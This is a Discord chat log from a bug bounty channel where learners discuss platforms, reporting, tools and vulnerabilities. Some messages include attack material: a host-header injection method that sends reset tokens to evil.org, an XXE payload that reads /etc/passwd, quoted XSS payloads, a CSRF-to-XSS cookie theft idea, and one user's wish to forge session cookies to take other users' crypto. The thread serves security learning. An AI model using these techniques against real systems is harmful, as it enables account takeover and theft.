They're saying that when they sign up for an account on the website they get an email containing the password. Not a link to the site with the password in a get request

[latent tree]

Not necessarily stored In plain text they could store the plain text in a variable or session and fire off the email with it before storing the hash In the db.

Best way to check would be to request a new password, if it just sends a plain text pw then you have your answer.

Still a terrible idea mind

[hybrid orchid]

Hence the "likely". It wouldn't be great developmental practice to fire off the email from within the context of the sign-up though, no?
As in, should that not be compartmentalised so that the email is getting sent after the signup is completed?
Definitely agree with the requesting a new password though 🤷‍♂️

Then again, sending plaintext passwords ain't great developmental practice either 😆

[latent tree]

Yeah that’s what I meant, sign up complete send email off then store hash in db.

No absolutely not a good practice at all and IMO should never be done, it’s like writing your password on a sticky note and leaving it on your monitor but digitally (email box)

[vocal folio]

You can eliminate that as a possibility by trying a password reset. If you get it back in plaintext, then they're storing it.

[latent tree]

Yeah the second half of that message more or less says that 😅

[shadow gyro]

Thanks! This is what I was looking for. I'd probably just email them and tell them, but wanted to check in case there was some $$$ to be made somewhere... 😛

[uneven gale]

Gave +1 Rep to @hybrid orchid

[feral sundial]

Hey guys. Is there anyone who does “live” bug hunting? I received a few invites for private bug bounties but have no idea how to begin. I mean, I’ve been practicing a lot on THM, but never put my hands on the real thing. I would love to be able to watch and learn someone going through a bug hunting session.

[native token]

You’re unlikely to find anyone do live bug hunting due to the legalities of responsible disclosure. The closest you’d get is Nahamsecs streams in which he does live recon on targets

Other helpful things could be insider phds YouTube channel as she demonstrates a lot of owasp top 10 vulns and maybe if you want a platform to practice zseano has created bugbountyhunter which is a realistic environment to hack

[feral sundial]

Thank you for your reply.

[uneven gale]

Gave +1 Rep to @native token

[magic shadow]

Can someone suggest the best way ( if something of such kind exist ) to start my training and career on 🐞 bounty!
I am planning on specialising in this area.... Help me out guys!

[native token]

It's not a great area to specialise in. Mostly depends on location but check pinned posts. I've already made a pretty big post on this

[pastel drift]

Why do you say isn't it a great area to specialize in ?

[native token]

All bug bounty is, is a giant game of hide and seek in which you are basically hunting for anything a pentester may have missed. It's also not a guaranteed income so isn't exactly ideal.

You also have the fact that if you live in a country such as the USA or UK you'd be constantly stressed as a $200 bug isn't going to pay for food let alone rent and other bills.
It only really becomes viable in countries in which the living cost makes it feasible. And even then, you'll be competing against those who also do this professionally over in said counties

I'd rather earn £20-£35 per hour pentesting instead of doing bug bounty. A lot less stress

[pastel drift]

Ahh makes sense

What significance does bug bounty play to become a pentester? Will certificates do good or you're expected to find some real vulns also ?

[native token]

I mean it's a talking point and shows you're capable of identifying vulnerabilities on production sites.

I imagine if you're good at bug bounty you'd be able to pay for the entry certs that they look for

mainly OSCP in most countries

[pastel drift]

Right

[pastel drift]

Also, by this do you say that most of the bug bounty programs already would've hired a couple of pentesters before launching their bug bounty program ?

If yes, why ? I mean, a bug bounty program alone shall do enough good right ?

[native token]

bug bounty hunters rarely test for all types of vulnerabilities and so will miss a lot more than two pentesters would

Plus the type of things reported is different. On pentests we would test for OWASP top 10 and then also look for best practice such as SSL certificates, TLS/SSL configuration and say cookie best practice

[pastel drift]

Ohh, that's nice

Thank you, had a nice chat 🙂

[limpid oak]

what post?

[plain socket]

Owasp ZAP and i found some "unsafe CSP script-src" how can CSP scripts be unsafe? 🤔

https://drive.google.com/file/d/1D0onF_DucFKbphDljOisx_G0aYooK9O2/view?usp=drivesdk

Why do I have not permission to send images? Whatever i send a link to the picture

[hybrid orchid]

People kept spamming obscene images

Verify with the bot and you'll get the permission to do it

!docs verify

[marsh falcon]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[plain socket]

Oki!

[native token]

Check pinned messages.

[limpid oak]

ty

[uneven gale]

Gave +1 Rep to @native token

[limpid oak]

!docs verify

[marsh falcon]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[fallen palm]

does anyone know what the path is where amass keeps the config. ini file in kali linux? trying to add my api keys but i can't seem to find my config. ini file.

[fallen palm]

U may find solution here!
https://github.com/OWASP/Amass/issues/381

[elfin totem]

Has anyone ever messed with docker? I'm following this tutorial https://www.youtube.com/watch?v=QinRdVCDg-k&t=577s . Running into an error where it says the kali-rolling container (image?) does not have a Release file. It will tell me docker is not installed when I try to uninstall docker, then when I check docker -v (version), says docker build. When I run hello-world in docker after that it prints hello world and acts like docker is installed. I am working on Orcal virtual box with Kali, trying to set up docker inside kali on the vm.

[forest meteor]

where is a good place to find bug bounty??

or at least a good place to start working on them

[limpid oak]

You mean find programs to test for bugs?

In that case hackerone, bugcrowd, intigriti and there are more

[fallen palm]

https://disclose.io/programs/

[fallen palm]

U will find this helpful!
https://www.stokfredrik.com/bugbountytraining

[elfin totem]

has anyone here done a lot of CTF? Doing my first CTF now

[lavish hollow]

@trail comet Can you post the actual link, not a redirect link please

[shell tundra]

Hi
Guys
Zomato giving 3 Lakh to bug so are you ready to do

[high niche]

[molten raven]

[night jay]

hey guys, what do you think about hacker101 ctf for someone wanting to start doing bug bounties?

[native token]

Best of both worlds, it trains you in the types of vulns you'll be finding while also getting you private invites to programs that aren't as populated

[night jay]

I think for now atleast in the beginning, I should focus on getting into private programs. I used to do a few of the hacker101 challenges and thought I could go into public programs but couldn't find anything. Thanks for your input. I'll focus now on that and get into the private programs and get familiar before going public

[uneven gale]

Gave +1 Rep to @native token

[icy tartan]

Is there a beginner team of hunters who are looking for new blood?

[merry plume]

What's the incentive for taking part in a vuln disclosure program? Just recognition?

[native token]

A warm fuzzy feeling inside

[still scarab]

H1’s learn ctf is a good way to get motivated to see what real world bug hunting looks like at a low level. Good communication skills can do that too after you know what to look for.

It’s a long journey, so learn your best way and take your time with it.

[fallen palm]

Anyone experienced with Prototype Pollution? In that case, check this website https://snyk.io/vuln/SNYK-JS-LODASH-590103 (CVSS 9.8) and dm me if you have any idea on how to make a PoC for either RCE or Property Injection within this vulnerability

[limpid oak]

Yes but pirtswigger has also very good labs ti practice (they are almost identical to real world vulns.)

[winged stream]

how would you describe beginning? I imagine private programs invite top bug bounty hunters so theyd invite the opposite? New to this, curious. Bug Bounty hunter in the making

[night jay]

Private programs would involve smaller number of people so yes, could give you a better chance. I do also feel that since it is private, it would also include highly skilled but hunters. That also doesn't mean that they won't be participating in public programs. For me, it just boils down to the fact that private programs have fewer participants so you're more likely to get successful.

[buoyant notch]

I believe I've found a vulnerability where the host header's being relied on and used to help build the URL (I hope I've phrased that right), and there's session info disclosed in the URL which would be carried across to an adversary if exploited but I'm wondering to myself how an adversary would be able to influence the host header... any ideas?

[midnight geode]

I have done a little with docker. You still having issues?

[odd sable]

How do you pick between ZAP and Burp ?

[merry plume]

Why not both?

[magic shadow]

Good call!

[fallen palm]

I found a critical issue through IDOR on a website, the problem is that the userId is identified through connect.sid cookie. And it's encrypted, anyone have any idea on what I can do to create my own or decrypt this cookie and after decryption encrypt it with another persons userId. Example: s%3AUa62Yyrqv7C0gQg0Cl8BH0TjvFZMv9eO.FYwNFOaaDw5Z92hhkbri5ajw7s5hURaumGkpc5BxLEA

[native token]

Ummm you’ve just explained how a lot of websites work. Unless you can gain the original key that is used to create the cookie. It ain’t a critical

It’s quite common that you see it via jwt tokens that will specify a user Id, because it’s not really possible to forge then

[fallen palm]

@native token Is there anything I'm able to do? Since it's a crypto website and I'm able to sent requests that can for example send over all their crypto to another account, the only problem is that I have no way to specify which user to "take" the crypto from, I can only do it from myself using my alts connect.sid

[native token]

It’s a session cookie, that’s literally how websites work

[sand schooner]

awesome

[limpid oak]

guys is there a list of bugs that is hard to automatically search for (like business logic)

[civic umbra]

I am working on a target which is behind cloudlfare, when on burp, captacha pop up after every request or two, how can I avoid/disable these captchas and do hunting without getting distracted?

[severe folio]

I'm testing a site for bypass upload restrictions, I have two payloads with the same name, One is being blocked by cloudflare and one passes but I can't seem to get it to send a request to my site

Any ideas?

[ebon tapir]

see if this helps?
#resources message

[mint prism]

hello guys

i am trying to download immunity debugger on my windows machine

but it downloaded only the HTML page

[still jasper]

I would suggest trying to ask in the #infosec-general channel as this channel is for bug bounty

[mint prism]

thank you

okay

[civic umbra]

Thanks

[uneven gale]

Gave +1 Rep to @ebon tapir

[past hatch]

Dm me i will take look

[past hatch]

Rce,ssrf i would say business logic aint tough tbh,but depends on person,finding business logic require a very good knowledge of application workflow

[past hatch]

Burp pro,u wont need zap,,but if u r using burp community then for intruder attacks only use zap,else burp cm

[past hatch]

Well if u found that host header is used via generating a url,9/10 its vul. to what telling here to test for,don't go for any session info leakage,,,go to password reset functionality,give it ur email,,intecept the request,change host value to evil.org(for poc) and send request,,in ur email inbox,if u password reset link as evil.org/account/token_value(basically ur injected header),its full account takeover.create poc and send it to program

[limpid oak]

im asking like for types of bugs that are good for beginners to start and test for (not like xss that the whole industry is searching for)

[past hatch]

it totally depends on what type of web app u r on,but go for rate limiting,race condition,hunt for that bug u think u r good at

@limpid oak here is a checklist if u need https://github.com/harshinsecurity/web-pentesting-checklist

[limpid oak]

thank you very much

[buoyant notch]

appreciate the feedback! This program's web app seems to have an issue with the auth flow so the password reset functionality isn't available to test 😦 I will however ask and give that a try, I had the thought initially so it's good to see I'm thinking along the right track

[past hatch]

Trigger password change request from inside account,keep an eye on request in burp,maybe it send password reset request and email as parameter.(just a test case ,it totally depend on web app tho)

[mint prism]

hello guys, so i'm new here

i want to ask about bug bounty

1. Do i need to use proxychains while attacking the target or it's okay with my adress IP?
2. when we finish the report how can I contact the target, the procedure, etc...

could anyone clarify those points

thanks in advance

[native token]

1. No proxychains are needed in the slightest.. You may wanna use a VPN just so that if a site is using an aggressive WAF it could potentially block your IP access and hinder testing.
2. You'll be using Hackerone, Bugcrowd or another bounty platform I'd imagine so you'd submit to the program through the means they provide. The only time you would contact the client directly is if they have a program they manage on their own

[mint prism]

okay thank you

[potent gorge]

Hey guys, one hypothetical question. If I were to do a bug bounty where I found a APi endpoint /users/"name of user".json that outputs information about the user(full account permissions, user-badges, groups, id's, account creation date, names,...) would that be a good Information Disclosure bug and how would I fuzz the "/users/" parameter with Intruder? Specifically I am looking for a wordlist that would allow me to fuzz it effectively.

[vocal folio]

That sounds like exactly intended functionality on many sites

[potent gorge]

Oh well, then I should go back and try some more. Thank you though for the response @vocal folio .

[uneven gale]

Gave +1 Rep to @vocal folio

[twilit flare]

Actuallyy if you get that its a broken access control/IDOR bug, depending on the application if its like facebook and you only see public data lets say then its not broken access control, But lets say its something like udemy or something idk and you see all the information about users without having access its an IDOR/Broken Access Control Bug .

Plus recently specially in Europe if this data is exposed just like that companies get fined 25k$ per user due to GDPR breach if such information is leaked

basically speaking you shouldnt have predictible route which leads you to get a lot of user information

Ex. /api/user/1 , /api/user/john

[potent gorge]

Ahh, thank you very much for the response.

I will let you know how the report goes.

[twilit flare]

Best of luck, Hope ypu get noiceee bounty on it amigo

[severe folio]

Not sure if this is a valid bug or not but I found /xmlrpc.php on one of my target subdomains, following steps online, I'm able to use a method to perform a brute-force attack without any limiting.

Here's what my program says about brute forcing : Rate limiting or brute force issues on non-authentication endpoints

[native token]

some people report and get $$ for it, I report and I get -5 rep

it's a coin flip 😂

[severe folio]

cool, I just sent my first report, it's a VDP so no bounty, not looking forward to the -5 rep tho

[potent gorge]

happened to me.
pretty cringe and unmotivating when it does happen.

[native token]

I mean it's not technically a bug

You want demotivating. Try submitting an SSRF or SQLi and getting a dupe 😂

[fallen palm]

Truthfully I'd probably be motivated because I found something valid lol

Primarily because it shows that I CAN find logic vulns

[cobalt swallow]

anybody get octohook to work? There is a problem with WordCompleter.

[twilit girder]

That's an old one I guess and it's more of a glitch

[bitter token]

ohk

[echo spear]

Hey guys what are some of the best programs out there with large scopes? -google and verizon

[fallen palm]

every bug bounty opportunity seems to be resolved

[shadow dock]

If I have file urls.txt and I want filter status 200 by curl, how do that and export to new file ? Please help me

[plain socket]

Should instrumentationKey be public or private?

I just found one and i don't know if i should report it, that's why I asking you guys😕

Why can I not send pictures?

[still jasper]

You have to verify

[wise skiff]

could try something like

for url in $(cat urls.txt); do
  echo -n "[*] ${url}" && curl -s -o /dev/null -w "%{http_code}" $url;
done```

that would print the response code for each url, and you could just grep for 200 codes and pipe that into a new file if necessary

[rancid ruin]

Hell o I am new
How can I start bug bounty.. share some resources 🙌

[quasi pivot]

How much hacking experience do u have?

[rancid ruin]

Well 😂 30% idea

[rancid ruin]

I have pdf of web hacking 101 but I need practical video lesson

[quasi pivot]

Then I wouldnt jump into bug bounties until you have a strong knowledge in the field.

You can't really learn bug bounties on the job. I'd strongly advise you to learn the craft then come back to them.

[acoustic hearth]

you can learn by trying to do bug bounties, just don't expect much out of them yet if you're still new to the field 🙂

but it's probably more efficient to start with some web-related ctf's/wargames

and code your own webapps

[fringe widget]

@worthy folio hi

[late geode]

are CTF like bug bounties or where can one find THM bounties to practice on ?

[acoustic hearth]

CTF's are (usually) temporary competitions, sometimes with prizes, you can see which ones are going on at https://ctftime.org/

[still jasper]

Following the web path is good on THM for bug bounties, there are also other great websites such as bugbountyhunter.com and another good one is ctfchallenge.com which is made by one of the THM staff adamtlangley

[tacit cloak]

Hey guys, I am running PowerUp.ps1 on the "Steel Mountain" room and am getting errors. Anyone run into this issue?

[quasi pivot]

#room-help This is the room for bug bounties...

[tacit cloak]

oh ok. thanks

[past hatch]

Do as frieddie mentioned or alternative(its fast than curl bz of thread) u may use ffuf ,try this ffuf -c -w url.txt -u FUZZ -t 100 -mc 200 | tee output.txt

[past hatch]

Large scope,,Facebook twitter apple Microsoft tesla,,the big names 😂,,or you could also check public program on hackerone or bugcrowd with most wide asset

[shadow dock]

Thanx

[shadow dock]

Hackerone for example

[shadow dock]

Thanx

[rotund saffron]

Good night guys see ya tomorrow.

[fierce stone]

Hi is someone using hakrawler ?

i've issues setting it up 😦

[azure creek]

Can someone suggest me what foundation should I have for ctf challenges and where can I find the resources to gain that knowledge. Thank you so much for your support

[lavish hollow]

TryHackMe (https://tryhackme.com/) is a great, free resource to learn, but you can also try HackTheBox, OverTheWire (correct me) and CTFTime.org.

We have plenty of resources in #resources but many resources you will probably find on the way. You may want to watch youtubers, such as John Hammond, ippsec etc. who create awesome videos and showcase different platforms.

[civic umbra]

Hi everyone,

What could be the impact of the vulnerability, if one is able to chain CSRF with reflected XSS, but the reflected XSS is on non authenticated page i.e sign in page?

[past hatch]

Dm me,in case u r still stucked.

[past hatch]

ig parameter u found xss on is something like redirect_url after signin and u gave value it javascript:alert(1)? (Those r some common cases)

[civic umbra]

No its in the POST body

[past hatch]

Provide more context,,yes csrf can be chained with xss,cors can also be chained with xss.

[civic umbra]

Let me explain the scenario, its a link which is vulnerable to rXSS through POST parameter, its a valid CVE so I reported it and triager closed it saying that its self XSS. Now I used CSRF to send that payload so that presumably an attacker can use this CSRF POC to exploit rXSS and fetch the cookie
When we click the payload, it opens up the link the payload gets executed and then the page gets redirected to the login pga
*page
so I assumed that if the user is logged in already then before redirection, I can get his cookie through rXSS
but I cant verify it as the login page is of Cisco and I have no credentials off it

[long relic]

i know most of them ...Can you give me source to learn these Bugs/

[past hatch]

read bug reports https://github.com/devanshbatham/Awesome-Bugbounty-Writeups ,https://hackerone.com/hacktivity

[long relic]

Few Hours ago I submitted ...passwordresetcode is leaking in password changing page request. But They marked it as NA. Any suggestions ?

[past hatch]

if password reset code/token is leaked to third party services those reports are accepted as low severity ,check this report https://hackerone.com/reports/751581

[long relic]

@past hatch On Password Reset Page , after entering password when i hit submit and take the data on burp. I see the ressetcodetoken there. There is no Third party involvment there. Should i report same kind of bugs in future ?

[past hatch]

if there is no impact,,not worth reporting either it will be marked as n/a or informative,,report like this https://hackerone.com/reports/751581 ,,https://hackerone.com/reports/342693 are accepted in some case

[long relic]

Thanks @past hatch

[uneven gale]

Gave +1 Rep to @past hatch

[limpid oak]

is it a bug if i create an account without the password criteria (8letters + numbers and uppercase) and the account creation doesnt actually work but keeps doing thr spining wheel

[long relic]

@limpid oak If you can create an account without following the password criteria and Length of your password is 1 then it would be consider as bug called "No password policy".

[native token]

@hybrid orchid what's the stance on course self promotion?

[hybrid orchid]

Not if it's paid please

(Deleted for that reason)

[final dawn]

bro how can i get started in bug bounty

[still jasper]

There's a bunch of resources in pins

[lavish smelt]

Thanks 🤝

[uneven gale]

Gave +1 Rep to @still jasper

[delicate anchor]

Any courses to do for bug bounties?

[fallen palm]

Check pinned

[viscid oak]

Did anyone try this Grammarly CTF in HackerOne?
https://hackerone.com/grammarly?type=team

[dapper saffron]

I would check for rate limit issue and if there is none then you can submit a report like no rate limit + weak password policy to increase the impact little bit but most of times its p4 with rate limit and p5 with only weak password policy

[dapper saffron]

Obviously the reset token would be there else how could server verify who’s changing his password? Still if the reset token is leaking while changing password you shouldn’t submit that without confirmation, maybe the token is for one time use only? If you manage to leak tokens before changing password or if tokens still working after changing password then it would be p2. But make sure you know a way of attacking other for the purpose of poc

[long relic]

that's great explanation

[eager wolf]

Great Pins. Will have to have a look at this this weekend.

[stable finch]

if a certain exploit leads to RCE then will I get the RCE severity reward or will it be the lower lvl exploit reward?

like some kinda misconfiguration that led to an RCE, will I get rewarded for RCE or misconfiguration cause sometimes there is a big difference

[native token]

You'd be awarded for the RCE

[fallen palm]

Hey

I’m doing a web app testing on this website and I have found sql injection via cookie. Can anyone assist me in how I can manually test for it. Any useful information would be great

[fallen palm]

Does anyone know if would it be considered a bug if windows defender detects some malware and says that it has removed the threat, but it actually hasn't removed the threat? Just something I stumbled upon while coding a windows privilege escalation tool, but I don't know much about bug bounties.

[dapper saffron]

Its all about the impact not how you find it so you will get the reward of a RCE

[dapper saffron]

Use sqlmap?

[dapper saffron]

This is what windows defender always do? :p i am not sure about that but in my opinion it should be an issue. Maybe you can do google about it

[fallen palm]

thanks, I will keep looking, Microsoft's site for bug bounties is a bit confusing lol

[uneven gale]

Gave +1 Rep to @dapper saffron

[native token]

Microsofts bug bounty is shit but going off of what you've said it most likely wouldn't be deemed as a vulnerability

though technically it is seen as one

[stable finch]

There is a bug bounty on an android app, how would you even start with that?

Like yeah I guess i can put it on an emulator but what then? Should I root the device and use it as a linux device?

[still jasper]

Hackerone have tips on how to approach android bugs and what ines are common

I would suggest looking at that

[stable finch]

Okay thanks @still jasper

[uneven gale]

Gave +1 Rep to @still jasper

[lavish pivot]

It's actually 16 pounds right now

[still jasper]

Yea it stopped now

He said he may do it again tomorrow

[lavish pivot]

Sounds good

[native token]

A good thing is decompiling the apk and yoinking all links/api keys and endpoints

You could alternatively run the app with burp proxy in the background to yoink api endpoints

Apps are beautiful for those sorta things

[fallen palm]

ah okay I see, thanks, I won't waste time on trying to report it then 👍

[uneven gale]

Gave +1 Rep to @native token

[past hatch]

script for bug hunting,installs 21 tool for recon and hunt,Manas wrote it,i fixed it and added more tool 🙂 ,https://github.com/ManasHarsh/Cobra Happy hunting

[stable finch]

so i found an exposed api key but i dunno what to do with it, looking through documentation I am pretty sure it was implemented incorrectly as it should have been something similar to a global variable, it's a key for a google geo api for android.

[native token]

https://github.com/streaak/keyhacks

You may find this resource useful for a quick reference though proving impact with google api keys is difficult as google frequently refunds credits based on fraudulent activity on API keys

[stable finch]

that is such a great github

2

@native token thanks

[uneven gale]

Gave +1 Rep to @native token

[stable finch]

yeah everything isnt authorized, ill try all of them just to make sure

actually i just need to find the one that is authorized

if it exists

found it but the service is disabled, maybe it was already reported

nvm it worked there were 2 apis

so this bug can make anyone just spam the api and make them pay a lot of more money so i should get paid for it if its not reported

[native token]

It’ll be an informational close

Google refund fraudulent activity on api keys

So has no impact on them

[stable finch]

well that sucks so nothing out of this

[inner mural]

Okay, I'm getting slightly frusrated with Steel Mountain. I'm trying to run the|| PowerUp.ps1 file in powershell once I've got it through Metasploit|| but I just get an error:

PS > . .\PowerUp.ps1
ERROR: I : The term 'I' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the
ERROR: spelling of the name, or if a path was included, verify that the path is correct and try again.
ERROR: At C:\Users\bill\Desktop\PowerUp.ps1:4990 char:1
ERROR: + I
ERROR: + ~
ERROR:     + CategoryInfo          : ObjectNotFound: (I:String) [], CommandNotFoundException
ERROR:     + FullyQualifiedErrorId : CommandNotFoundException
ERROR: 

I can get PS access but I cannot get the file to run using . ||.\PowerUp.ps1.||

[low crest]

#room-help ill help u there

[primal lava]

so anybody want to start a study group based on vulnerbilities

in depth

[civic umbra]

Hi, is there anyway to fetch all the subdomains ending with .mil? Is there any tool that enumerates subdomains based on wildcards? like *.mil?

[vocal folio]

Those don't sound like subdomains.

[native token]

Google dorking is usually a bit part, there are also sites around that have a fairly extensive list of domains that are floating around

From there you'll wanna work on finding the sub domains

[civic umbra]

If a web app is html encoding brackets < > into < does it mean no chance of XSS or can it be bypassed?

[quasi pivot]

What does ur research tell u?

[thorny pier]

what are you trying to do?

[zealous haven]

anyway the <> aren't too important in XSS
https://security.stackexchange.com/questions/173032/xss-payload-without

[vocal folio]

< is not URL encoding, it's HTML entities

[zealous haven]

true my bad url encode of <is %3C

[vocal folio]

Yeah, but they're different concepts

Using HTML entities is the safe way to handle <>

[zealous haven]

yes yes i edited my message and said my bad

[civic umbra]

does HTML entities make XSS impossible?

[upper cypress]

Hey all. Can someone dm me as I have some questions about bug-bounty

[native token]

Just ask your questions here

[upper cypress]

When look to start bug bounties where do you find them? how hard are they?

[fallen palm]

Check pinned if it's not already done

[upper cypress]

I am not sure where to look

[prisma axle]

Bugcrowd, hackerone, Intigriti, synack, the list goes on

[upper cypress]

is there one better then the other or all the same

[dusty pasture]

You need to do the research, no pain, no gain
The ones Cry has mentioned, are more or less similar.
See, it's just code. It can be a human error, so it depends whether it is hard or not.
Generally they are hard to find, but if you know what you are looking for then it may not be the case

[prisma axle]

tbh, they all are going to have about the same programs available. The only place you’re going to find a difference is in the private programs and well. You will have to do your own research on how to get into those

[upper cypress]

If anyone is doing any of them I would like to watch to work out where I sit on the knowledge before trying one

And to understand the reporting side of it

[north sorrel]

i was solving the xxe lab on portswigger's web security academy,here's what i don't understand: how would i know what is the xml input here which needs to be altered for our benefit?

[native token]

That’s not how bug bounty works, you’ll need to figure that out by reading disclosed reports

[upper cypress]

@native token ok. thanks for the advice.

[uneven gale]

Gave +1 Rep to @native token

[fallen palm]

Hey

Iam new to this. Can anyone guide me , what to do first

[pale plover]

Read #start-here.

[granite star]

Hey experienced bounty hunters, how long do you spend on one program without finding anything before you switch or decide it's not worth the time?

[turbid tree]

i am waiting for replieas

[raw barn]

Any one use burp suite

I need help

[strong crag]

please refrain from posting the same question in a bunch of different channels

ppl will respond if they can.

besides, what is this for

[wise birch]

yes what help

[proper peak]

howdy

anyone around?

[plain socket]

How can I limit my request to 1 request per second when i using SQLmap?

and it says that it's too many requests... Does anyone know how I can run it probably?

[crisp gate]

Do I need to have a proof of access to an endpoint to get user ID's for an IDOR bug, or do I just need to prove you can change it?

I got a site that lets me change the password with a UUID

[crisp gate]

--threads=1

[past hatch]

Well create poc on ur controlled account ,make 2 account to show impact

[crisp gate]

Right yeah, I already have the PoC on 2 accounts

But do I need to prove a way to get UUIDs from non-controlled users for the bug to be valid?

[past hatch]

See if u can leak uuid of other users,any api endpoint etc,, since uuid are not guessed easily,,if u report bug it would be of low impact because for idor to work u need to know uuid of other user.

[crisp gate]

Hey, validity is validity. I just need more reputation on my bugcrowd profile.

[past hatch]

Since u said password change requires uuid,, maybe to identify account via email ,its leaked in response page? Enumerate and goodluck

[native token]

Closer to an informational if there’s no way of obtaining/enumerating then

Usually if there’s a secure uuid there isn’t particularly impact as uuid is just an abbreviation for unique user identifier

[plain socket]

Interesting! Thank you for the help!

[uneven gale]

Gave +1 Rep to @crisp gate

[fallen palm]

I've a question..so I've found a xxe vulnerability with svg image upload...and I'm trying increase the impact by trying to read the /etc/passwd file....but it seems the SYSTEM entity is not working...so I've tried to create the same environment in my own machine and I've noticed that the SYSTEM entity is getting comment out automatically....is it bcoz of the browser's security machanism? or browsers doesn't support xml anymore1

<!DOCTYPE root [ <! ENTITY test SYSTEM 'file:///etc/passwd'>]>

<root>&test;<root>

the first part is getting comment out in response like this

<!---<!DOCTYPE root [ <! ENTITY test SYSTEM 'file:///etc/passwd'>]>--->

[crisp gate]

sad

[crisp gate]

Have you tried injecting comment tags yet to circumvent it?

[rare sand]

Yes what is trouble you having

[fallen palm]

Anyone familiar with this amass error?

[dusty pasture]

Check this out!
https://github.com/OWASP/Amass/blob/master/doc/tutorial.md#run-amass-under-passive-or-active-configuration

[fallen palm]

Thanks, i'll let you know if this answers my question 🙂

[uneven gale]

Gave +1 Rep to @dusty pasture

[fallen palm]

Dude it worked

I read you had to add the -active switch in there

and now i get these results

So apparently it worked but it didn't find anything right?

[dusty pasture]

I am not sure what to do with this. I need to do some work on my side.
I will let you know if I get it to work, though I don't use amass😅

[fallen palm]

Sounds good i ran it without the ports and got the same results

[dusty pasture]

You are trying to enumerate subdomains, right?

[fallen palm]

yep

now i'm using sublist3r

and getting nothing on his domains

[dusty pasture]

Alright, I haven't used amass
Someone else might help you with those issues.
You can try this. It will brute-force using the wordlist provided.

gobuster dns -d nahamstore.thm -w /path/to/wordlist -t THREAD_COUNT -o gobuster.log

After that, you can then use nmap ... -iL LIST_OF_SUBDOMAINS.txt

[fallen palm]

okay let me install gobuster

[fallen palm]

Thank you for your input 🙂 I will let you know if this method works

[uneven gale]

Gave +1 Rep to @dusty pasture

[dusty pasture]

This does require you to run more commands, but does the same work you expect from your amass command

[dusty pasture]

There is an object mdlGProc, it has a method gp_WritePasswordAttempts which takes a String as its arguments.
And then in its function definition, it calls Int32.ToInteger(userID) which tries to convert the String to an Integer

Why do you think your code (SQL statements) are being executed?
Second screenshot shows kind of a weird output, it should show the same String to Integer conversion error.

Right?

[vocal folio]

It can do both iirc

[dusty pasture]

BTW, thess tools uses their own User-Agent header
Like, nmap, gobuster, nikto, etc.
So there is a chance these are blocked by the target service or the firewall if there is any

[vocal folio]

Yeah. And you can ask it not to.

But it's good to be able to see what caused problems

[fallen palm]

Hey guys how r ya all!
so guys the thing is that i reported a bug on bugcrowd which i found by scan on owasp zap! it was about cross origin resource sharing, so guys i reported and it was my first time reporting a bug on bugcrowd platform! so i got a email in a day that it’s not applicable and they said that i should include this too that “as an attacker i could...” so i submitted again after adding information about how to exploit it and what i can do as an attacker! i searched on the web for the solutions and more information about the bug and it’s impact on website and how to exploit it! so i resubmitted again ! and after 3 days i got an email that it’s not applicable saying that i should add this “as an attacker i could....” so you guys got any suggestions or ideas or anything about this?
Thanks in Advance!

[carmine oxide]

@fallen palm typically the little bit of bug bounty I've done, if it's in the requirements you might have to completely exploit them. Most of the time you can't just scan and discover the vulnerabilities but exploit them as well. That's been my experience anyway

[raven mirage]

Pretty sure they're asking for a prove of concept on THEIR website

Essentially you have to exploit it and make a writeup on how to do that so they can test and validate the bug them selves

[past hatch]

First don't report directly what u found from scanners to program ,, second look for impact,, as in case of CORS is it on account details page ,,(if so u may to able to fetch account details from other domains which ain't good for website security) ,,try inserting origin header value to https://test.com and see if it reflect in response ,also Allow-credential must be true. For more https://portswigger.net/web-security/cors

[fallen palm]

Thank you @past hatch @raven mirage i’ll look into the things you guys mentioned! you did helped me great here!

[uneven gale]

Gave +1 Rep to @past hatch

[prisma axle]

By just sending random scans you’re only going to piss off the security team you’re working with

And some of them can already be bitter to begin with

[proper harbor]

@past hatch I got my $$$

[fallen palm]

Hi guys im trying to figure out how xss works, i was studying stuff in portswigger.

For example, suppose that the input:

';alert(document.domain)//

gets converted to:

';alert(document.domain)//

You can now use the alternative payload:

';alert(document.domain)//

which gets converted to:

\';alert(document.domain)//

Here, the first backslash means that the second backslash is interpreted literally, and not as a special character. This means that the quote is now interpreted as a string terminator, and so the attack succeeds.

Here is the deal, Could u guys explain me why we use double // in the end, and meaning of ";" ?

[north sorrel]

i was solving the xxe lab on portswigger,there was a lab which showed 'Exploiting XInclude to retrieve files', what I'm trying to understand is how XInclude works,and what is its significance? I googled it,but didn't get any satisfactory answer.If someone could explain it,i would be grateful.

[left orchid]

Wait i am providing u the link

https://www.jigsawacademy.com/blogs/cyber-security/xxe-attack

@north sorrel here u go if u dont find any satisfactory answer ping me i will explain it.

[stray tapir]

For which kind of platforms are y'all looking when doing bug bounties?

like small scale for less competition or big scale for more cash?

[winged latch]

Bugcrowd?

Hackerone?

Those are good ones I believe

[fallen palm]

There is hacker101 also if I remember correctly

[north sandal]

Now which one have small scale less competitors? Specially friendly to new bug bounty?

[raven mirage]

I think when it comes to bug bounty you just kinda have to dive in head first

Also i belive hackerone has a thing where if you solve enough of their ctf challenges they invite you to private program

Keep in mind that some of the private programs maybe "outdated"

[brittle tartan]

Can anyone help me? i have found muid, guid and sid for stripe in a website, is this a security bug or not?

[pale plover]

90 days is pretty common

[fallen palm]

Guys i want to ask you something! that i’m getting started in bug bounty after a year hacking in tryhackme! i’ve learned about almost every bug and practice about it now i want to go practical and do some bug hunting stuff so i just want to ask that any recommendations for me on which platform to start? or any tips and tricks that anyone can give me? Thanks in advance and you can dm me if u wish! 🙂

[humble marten]

Visit hacker 101

[fallen palm]

yeah i did already!

[wet bobcat]

good luck on your journey

[fallen palm]

hackerone.com

bugcrowd

disclose.io/programs/

and if u want good practice for bug bounty https://portswigger.net/web-security/learning-path go through that learning path

[fallen palm]

Here are the top bugs found today in 2021

https://www.bugcrowd.com/blog/common-bugs-of-2021/

[rich wasp]

I think nice website. https://application.security/

[north sorrel]

i was paying for a course on a website, after the payment instead of my profile, somebody else's profile started showing up, with a different name and different progress,which type of vulnerability might this be?

[feral acorn]

Can be many things, wrong session management, error in authentication on backend. But definetly something you would want to tell the tech team behind that page, just think of the GDPR consequenses that could have.

[native token]

Sound like broken access control, an IDOR but that is definitely a bug

[pale plover]

Please check out the pins. There's some good guidelines and resources.

Huh? The pins on this discord channel.

[uneven gale]

